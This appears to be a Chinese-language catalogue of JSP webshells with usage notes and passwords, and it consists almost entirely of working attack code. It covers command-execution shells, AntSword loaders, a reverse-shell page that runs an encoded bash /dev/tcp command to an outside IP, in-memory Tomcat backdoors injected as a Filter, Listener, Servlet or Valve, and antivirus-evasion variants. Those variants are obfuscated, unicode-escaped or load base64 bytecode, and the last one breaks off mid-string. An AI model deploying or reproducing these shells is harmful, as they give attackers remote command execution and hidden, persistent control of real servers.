JSP马

传统jsp马

传统jsp马要求文件落地,因此应用性较差.

无回显
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
有回显
<% if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}
%>
蚁剑马

密码ant

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
反弹shell马

加载时触发反弹shell

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

一次落地内存马

这类内存马只会落地一次,之后就通过修改原有代码逻辑实现加载到内存中.
使用方式:首先访问一次jsp文件将其加载到内存,然后即可在内存马上传的路径去使用cmd参数执行系统命令.

Filter型内存马

通过修改web.xml中的filter的map映射关系,从而实现在访问路由之前去执行命令.

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "y4tacker";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>
Listener型内存马
// listenerTrojan.jsp
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
  Field requestField = request.getClass().getDeclaredField("request");
  requestField.setAccessible(true);
  final Request request1 = (Request) requestField.get(request);
  StandardContext standardContext = (StandardContext) request1.getContext();

  ServletRequestListener listener = new ServletRequestListener() {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
      HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
      HttpServletResponse resp = request1.getResponse();
      if (req.getParameter("cmd") != null) {
        try {
          boolean isLinux = true;
          String osTyp = System.getProperty("os.name");
          if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
          }
          String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
          InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
          Scanner s = new Scanner(in).useDelimiter("\\A");
          String out = s.hasNext()?s.next():"";
          resp.getWriter().write(out);
          resp.getWriter().flush();
        }catch (IOException ioe){
          ioe.printStackTrace();
        }
      }
    }
  };
  standardContext.addApplicationEventListener(listener);
  out.println("inject done!");
  out.flush();
%>
Servlet型内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }
    };

    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setName("servletTrojan");
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(HttpServlet.class.getName());

    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/*", "servletTrojan");

    out.println("inject done!");
    out.flush();
%>
Value型内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);

    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
    pipelineField.setAccessible(true);
    StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

    ValveBase valveBase = new ValveBase() {
        @Override
        public void invoke(Request request, Response response) throws ServletException,IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                this.getNext().invoke(request, response);
            }
        }
    };

    standardPipeline1.addValve(valveBase);

    out.println("evil valve inject done!");
%>

特殊jsp马

ScriptEngine调用js免杀马

使用方式:get传参pwd=meraklbz,cmd=系统命令

<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String PASSWORD = "meraklbz";
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript");
    engine.put("request",request);
    String pwd = request.getParameter("pwd");
    if(!pwd.equals(PASSWORD)){
        return;
    }
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append("function test(){")
            .append("try {\n")
            .append("  load(\"nashorn:mozilla_compat.js\");\n")
            .append("} catch (e) {}\n")
            .append("importPackage(Packages.java.lang);\n")
            .append("var cmd = request.getParameter(\"cmd\");")
            .append("var x=java/****/.lang./****/Run")
            .append("time./****")
            .append("/getRunti")
            .append("me()/****/.exec(cmd);")
            .append("return x.getInputStream();};")
            .append("test();");
    java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString());
    StringBuilder outStr = new StringBuilder();
    response.getWriter().print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        outStr.append(s + "\n");
    }
    response.getWriter().print(outStr.toString());
    response.getWriter().print("</pre>");
%>
超级混淆jsp马

使用方式:get传参pwd=password&cmd=系统命令

<%@ page language="java" pageEncoding="UTF-8"%><%! String PASSWORD = "passwdd"; %><%!public static String dec(String str, int offset) {
    try {
        byte[] RdhWGkNRTHraMoNXnbqd = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
        str = new String(RdhWGkNRTHraMoNXnbqd);
        char tBUyKgoXbsPvSsCJSufs;
        StringBuilder RsYpziowqWZoOiHwzNsD = new StringBuilder();
        for (int TjYCIPdUeOmJcJBsquxo = (1121081 ^ 1121081); TjYCIPdUeOmJcJBsquxo < str.length(); TjYCIPdUeOmJcJBsquxo++) {
            tBUyKgoXbsPvSsCJSufs = str.charAt(TjYCIPdUeOmJcJBsquxo);
            if (tBUyKgoXbsPvSsCJSufs >= 'a' && tBUyKgoXbsPvSsCJSufs <= 'z') {
                tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'a') - offset + (1931430 ^ 1931452)) % (1564233 ^ 1564243) + 'a');
            } else if (tBUyKgoXbsPvSsCJSufs >= 'A' && tBUyKgoXbsPvSsCJSufs <= 'Z') {
                tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'A') - offset + (1571561 ^ 1571571)) % (1308881 ^ 1308875) + 'A');
            } else if (tBUyKgoXbsPvSsCJSufs >= '0' && tBUyKgoXbsPvSsCJSufs <= '9') {
                tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - '0') - offset + (1720022 ^ 1720028)) % (1441753 ^ 1441747) + '0');
            } else {
                RsYpziowqWZoOiHwzNsD = new StringBuilder(str);
                break;
            }
            RsYpziowqWZoOiHwzNsD.append(tBUyKgoXbsPvSsCJSufs);
        }
        String TCdtxqdRtUvCZbefvpib = RsYpziowqWZoOiHwzNsD.toString();
        TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\\"", "\"");
        TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\n", "\n");
        return TCdtxqdRtUvCZbefvpib;
    } catch (Exception ignored) {
        return "";
    }
}%><%
    try {
        String[] ohMQjyWPNghGDIectNXy = new String[] { "M3w3fDl8MTF8MTB8NHwxfDEzfDB8Nnw4fDEyfDJ8NQ==", "eWZt", "bHZt", "amF2YS5sYW5nLlJ1bnRpbWU=", "cG5jQWR3Y3J2bg==", "bmdubA==", "PHByZT4=", "PC9wcmU+" };
        String KYojVAFKnStuhAMYzhkx = dec(ohMQjyWPNghGDIectNXy[((234768 ^ 1973569) ^ (590428 ^ 1346061))], ((651824 ^ 1630724) ^ (814895 ^ 1933074)));
        String[] yvralpImQfqgUyDKbRSG = KYojVAFKnStuhAMYzhkx.split("\\|");
        int kGsnqIufqoPkrtLHXIaW = ((279689 ^ 1441046) ^ (1995565 ^ 1034930));
        String llbDKgUNpIZeFFzrADVc = null;
        String DnyFyfbKEMRubCuIJCGT = null;
        Class sdyNhFJrytFWBVFtHBAW = null;
        java.lang.reflect.Method IggLavlquoqeLcmkEMCH = null;
        java.lang.reflect.Method vECcMsoXaxNOVEfGJtyD = null;
        Process PqYHaydLQrLSTEejmXPC = null;
        java.io.InputStream SOPjuNYhMRIxBIMFsLnC = null;
        java.io.InputStreamReader OskZRyDgCtUfhCNMbiHl = null;
        java.io.BufferedReader ADbSwyDfyRrnejwmlMVP = null;
        byte[] FyRwKNOxPNyWZqTioayh = null;
        while (true) {
            int ckwcNOWaQwslAqKXsBXS = Integer.parseInt(yvralpImQfqgUyDKbRSG[kGsnqIufqoPkrtLHXIaW++]);
            switch(ckwcNOWaQwslAqKXsBXS) {
                case ((130619 ^ 1310711) ^ (16539 ^ 1196378)):
                    SOPjuNYhMRIxBIMFsLnC = PqYHaydLQrLSTEejmXPC.getInputStream();
                    break;
                case ((70158 ^ 1439183) ^ (936575 ^ 1748408)):
                    out.print(dec(ohMQjyWPNghGDIectNXy[((1035581 ^ 1276560) ^ (1012433 ^ 1295738))], ((408828 ^ 1977713) ^ (805113 ^ 1333629))));
                    break;
                case ((791991 ^ 1721991) ^ (276318 ^ 1205350)):
                    OskZRyDgCtUfhCNMbiHl = new java.io.InputStreamReader(SOPjuNYhMRIxBIMFsLnC);
                    break;
                case ((994327 ^ 1996681) ^ (272624 ^ 1405797)):
                    sdyNhFJrytFWBVFtHBAW = Class.forName(dec(ohMQjyWPNghGDIectNXy[((723389 ^ 1911990) ^ (940741 ^ 1605581))], ((565548 ^ 1732890) ^ (581035 ^ 1707412))));
                    break;
                case ((660296 ^ 1894086) ^ (864030 ^ 1825429)):
                    out.print(dec(ohMQjyWPNghGDIectNXy[((160730 ^ 1269193) ^ (2021183 ^ 1046827))], ((530501 ^ 1792818) ^ (68852 ^ 1200010))));
                    break;
                case ((314344 ^ 1957918) ^ (171737 ^ 1815843)):
                    ADbSwyDfyRrnejwmlMVP = new java.io.BufferedReader(OskZRyDgCtUfhCNMbiHl);
                case ((7180 ^ 1883268) ^ (1034438 ^ 1271886)):
                    FyRwKNOxPNyWZqTioayh = new byte[((874262 ^ 1421190) ^ (356355 ^ 1933459))];
                    break;
                case ((840786 ^ 1964027) ^ (75706 ^ 1049616)):
                    llbDKgUNpIZeFFzrADVc = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((313090 ^ 1196306) ^ (855029 ^ 1805796))], ((1045651 ^ 1997062) ^ (598409 ^ 1616917))));
                    break;
                case ((472276 ^ 1989936) ^ (960482 ^ 1560079)):
                    if (!llbDKgUNpIZeFFzrADVc.equals(PASSWORD)) {
                        return;
                    }
                    break;
                case ((405394 ^ 1254229) ^ (606815 ^ 1855135)):
                    DnyFyfbKEMRubCuIJCGT = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((877796 ^ 1647594) ^ (1003933 ^ 1775249))], ((417054 ^ 1917469) ^ (779740 ^ 1112790))));
                    break;
                case ((766303 ^ 1441376) ^ (438729 ^ 1638140)):
                    IggLavlquoqeLcmkEMCH = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((213616 ^ 1517688) ^ (867884 ^ 1659936))], ((741373 ^ 1786126) ^ (161325 ^ 1210583))));
                    break;
                case ((93071 ^ 1493750) ^ (108351 ^ 1443399)):
                    PqYHaydLQrLSTEejmXPC = (Process) vECcMsoXaxNOVEfGJtyD.invoke(IggLavlquoqeLcmkEMCH.invoke(null), DnyFyfbKEMRubCuIJCGT);
                    break;
                case ((480088 ^ 1200421) ^ (422292 ^ 1274859)):
                    String VzWBitUpHtiNHjloSSoh = null;
                    while ((VzWBitUpHtiNHjloSSoh = ADbSwyDfyRrnejwmlMVP.readLine()) != null) {
                        out.println(VzWBitUpHtiNHjloSSoh);
                    }
                    break;
                case ((492345 ^ 1552686) ^ (791819 ^ 1845016)):
                    vECcMsoXaxNOVEfGJtyD = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((914605 ^ 1809294) ^ (17726 ^ 1452568))], ((937477 ^ 1205935) ^ (615802 ^ 1396185))), String.class);
                    break;
            }
        }
    } catch (Exception ignored) {
    }
%>
unicode蚁剑jsp

密码ant

<%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0020\u0030\u002c\u0020\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0020\u0073\u0074\u0072\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0042\u0061\u0073\u0065\u0036\u0034\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0020\u0073\u0074\u0072\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u007b\u007d\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u007d%><%\u0053\u0074\u0072\u0069\u006e\u0067\u0063\u006c\u0073\u003d\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u006e\u0074\u0022\u0029\u003b\u0069\u0066\u0028\u0063\u006c\u0073\u0021\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u006e\u0065\u0077\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006c\u0073\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u006e\u0065\u0077\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u007d\u0029\u003b\u007d%>
类加载型蚁剑马

使用方式:请求头添加User-Agent: 1,密码也是1

<%
    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
    try{
        classLoader.loadClass("com.fasterxml.jackson.f.SignatureUtils").newInstance();
    }catch (Exception e){
        java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        String bytecodeBase64 = "yv66vgAAADEBsgEAJmNvbS9mYXN0ZXJ4bWwvamFja3Nvbi9mL1NpZ25hdHVyZVV0aWxzBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAAIvKggACAEADGdldENsYXNzTmFtZQEAJG9yZy5hcGFjaGUuU2VydmxldENvbnRleHRHbXh3cUZpbHRlcggACwEAD2dldEJhc2U2NFN0cmluZwEACkV4Y2VwdGlvbnMBABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAPAQAQamF2YS9sYW5nL1N0cmluZwcAEQEJDEg0c0lBQUFBQUFBQS81MVdhWE1VVlJROWI3YWVUQnJCUVpaaFUxRWdrMjBNbXpDSlNCSVFvcE9BQktJaGJzMU16d0tUbWREZENVbEF4WDNCZmNjVlY5eTNraUJTV0h5d3RMVDhhR2xSNVJmOUdWYTVuTmM5bWN4a2c3SW02ZmY2dnZ2T3UvZmM1ZlZQLzN6ekxZQUdmQ1p3WmQ1SVJiUStMWjdXSTUyNk1aRFZyZFo4enRJSHJTMjlnd2YyWDVmSldycWhRQWpNMnFzTmFKR3Nsa3RGdHUzWnE4Y3RCVzZCUzZSME1HSTZXeU9qK2w0QlgxTW1sN0UyQ0xpcndsMENudFo4UWhlWUdjdms5STcrM2oyNnNWUGJrNlVrR012SHRXeVhabVRrZTBIb3NkSVpVMkI1N0VMTWExU2h3QitBQnhjSitCTjVSeXJRVXhVcnQ2NkFzRVBmMzYrYlZ1TlVxMlpmUG1mcTQ1Y2QxTmEwbHNrMVNvZG1qL0d4ZVRDdTkxbVpmRTVCa0xZbk5Fc1RjUFcwQ0ZUR3M1cHB4dkphUWhvVXNpRWpPYUx0MmhGckhWdHFKRjI5dXBYT0p3UVd4TWFBRFQyWkpkT1JkbnVOV2w3aURROExYRnlpWk9Od3pSM1BtcExPc1pWT3k4amtVbHdTcEhST2JCS0R1WGFSV2NhS3dKTHBXV01NelhLbUJDNDlENVVrSWpsR244RENhYmdWVUl4UlUxYU0wMHRiVmw5a0t4OFRiUEliUldQR1IzM2lwcUpWaTZielZFRzF3T0pwSFZOUXk2aE82WXVDZW9GbEYrU0NncXVZN2hkbXVJS1ZaZVhvaEZuQmFvRVpuWllXMzlldTlSWHFLSkRXWlg1MWFMMjZpcXV4dUFJdXJCT29TT25XVnQxSnl1VlZFek1tUEZHa0lvckdTamFOSmdiVFFlM1NzdjJFM2VEQVhzc2d4Rm1iOUp0cHVMQVVsV1FZbmRMUFhGeHZETzlXMFl5V0FOYWdsY1hTeCtSVnNkbkJ1RTVBcFduYk5ZTUdrMFVWVzUxRDI1aW5pWHlMWnVwclYyL1M0M1lybVR1WjRUMHRLbTVBTEVDd2RvRjVVOVNiZ20wOHFYUlJ3WTFsbk81TUcvUlJRU2M1amZjYmhwNnpIQkZiWGxVcFBZNlU5T3hDVndBN2NSTXJMVlhzVXExbDVWKzJzYlQ4VlhSanQ5emRJeEN1NmlsckU0MVQ3QWwzeWJaM2F3RGJjUnZQbkZSSndSMk1Wa0pQc3VuYVlqLzJzSDdINlNxZ28zUFlWTWJrYmJRK0pmZW5HS0tkM2RzM3E4aGdZUVhTMkVzOStzY2daRFZEVDdRWHV0YkdTWUxSTTZGSmhhZnViU3F5NkExQUI5dkQvS20wRlBReEhxWnVOY2ZqdW1sbW5MdWlhcmZrd29BWndINVlVdERta0RNUW9NRUgyRnN6dVlIOFBxcXVMN1hTdWNYS3JDeUl3aE5GS29Zd0xQRVBrdENjZnFBdFoxb2EwM2w4T2hUVjc4UmQwcHU3ZVRvelg1T3RlYzRrcDh0cXVBZjN5c3ZydmlLTC8vZkdrbDdQd2dPVmlPQkIxbjZ4eTV1anQxVW1IMm5iVm5KYlBjSnVQeWxraWM0Uk51U0VYWEpHK2UxUzhJQjhEMmpHR3Q0L3BrV051V1ovcnI0M1k4YnJXNW83TjQ5V3ErSEgwOFJKNXUxV3hLWjRucWJqcEl1S1o